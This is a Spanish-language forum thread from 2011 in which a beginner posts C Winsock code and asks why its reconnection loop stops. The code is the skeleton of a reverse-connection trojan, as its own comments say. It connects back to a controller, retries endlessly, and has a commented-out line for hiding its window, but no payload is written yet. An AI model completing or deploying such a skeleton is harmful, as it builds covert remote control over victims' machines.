Peticion del Socket

Iniciado por yovaninu, 20 Julio 2011, 05:47 AM

0 Miembros y 1 Visitante están viendo este tema.

yovaninu

Hola a todos, estoy iniciandome con los Sockets en C y he tomado un code del amigo EON, crea un socket (servidor, en conexion inversa) y envia o intenta conectarse con su cliente que esta hecho en Basic:

Servidor:
Código (cpp) [Seleccionar]

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>

#pragma comment(lib,"ws2_32.lib") //Para linkear la libreria del winsock
void main(void)
{
//ShowWindow(GetForegroundWindow(),SW_HIDE); //Esta linea sirve para ocultar la
//consola y poner el programa como proceso. Por ahora la dejamos asi.

WSADATA wsa; //Si no sabes que es todo esto, leete mejor el manual xDD
SOCKET sock;
struct hostent *host;
struct sockaddr_in direc;
int conex;
char Buffer[1024];
int len;
//Inicializamos
WSAStartup(MAKEWORD(2,2),&wsa);
//Establememos el dominio donde nos conectaremos, por ahora ponemos 127.0.0.1 para
//hacer las pruevas

host=gethostbyname("192.168.1.4"); //localhost = 127.0.0.1 ;P
//creamos el socket
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (sock==-1)
{
//Si se produce un error al crear el socket
main(); //Llamamos de nuevo a la función principal para seguir intentandolo
}
//Definimos la dirección a conectar que hemos recibido desde el gethostbyname
//y decimos que el puerto al que deberá conectar
direc.sin_family=AF_INET;
direc.sin_port=htons(1234); //Elegimos un puerto cualkiera, mas adelante esto lo elegirá el
//usuario cuando hagamos el server edit
direc.sin_addr = *((struct in_addr *)host->h_addr);
memset(direc.sin_zero,0,8);
//Intentamos establecer la conexión hasta que lo logremos
conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr));
while (conex==-1)
{ //Esto es lo que hará si no se puede conetar:
Sleep(250); //Hacemos q el programa se detenga un poco, cuando se termine el
//troyano conviene subir este intervalo
//Por ahora lo dejamos asi para hacer mas comodas las pruevas
conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr)); //He intentamos
//establecer la conexión de nuevo hasta que lo logremos.
printf("\nSe ha intentado conectar con el cliente...");
}

//printf("\n\n Ok, ");
len=send(sock,"aqui C++",8,0); //Como somos muy educados saludamos xDD el 4 despues
//del hola indica el nº de
//caracteres a enviar

while (len!=0){ //Mientras que permanezcamoos conectados

len = recv(sock,Buffer,1023,0); //Recibimos los datos que envie
if (len>0) //Si seguimos conectados...
{
Buffer[len]=0; //Ponemos los datos recibidos al final de la cadena

//Aki hay q poner el conjunto de if's para las acciones
}
}

main(); //Cuando nos desconectamos volvemos a llamar a main para q siga intentando
//conectarse
}


Muy bien, todo compila normalmente, ahora el cliente es un WINSOCK normal en Basic con su localport = 1234 con su boton 'Iniciar la Escucha'.

Al correr cliente y servidor y poner a la escucha el cliente, el servidor de C efectivamente lanza su peticion al cliente y éste lo detecta en su evento 'ConnectionRequest', PERO A PROPOSITO HAGO QUE NO LO ACEPTE, por lo que el servidor deberia seguir intentando conectarse con su cliente, lo que noto que pasa es que el servidor al enviar la peticion y notar que el cliente lo ha detectado, deja de enviar peticiones, ademas cuando cierro el cliente el servidor deberia volver a realizar infinitos intentos de conectarse con su cliente hasta que éste lo acepte con un Accept().

¿Que sucede?

Desde ya gracias por su tiempo y ayuda.

fary

Mirate la msdn:

http://msdn.microsoft.com/en-us/library/ms737625%28v=vs.85%29.aspx

cuando denegas la petición devuelve WSAECONNREFUSED.

saludos.

   

Un byte a la izquierda.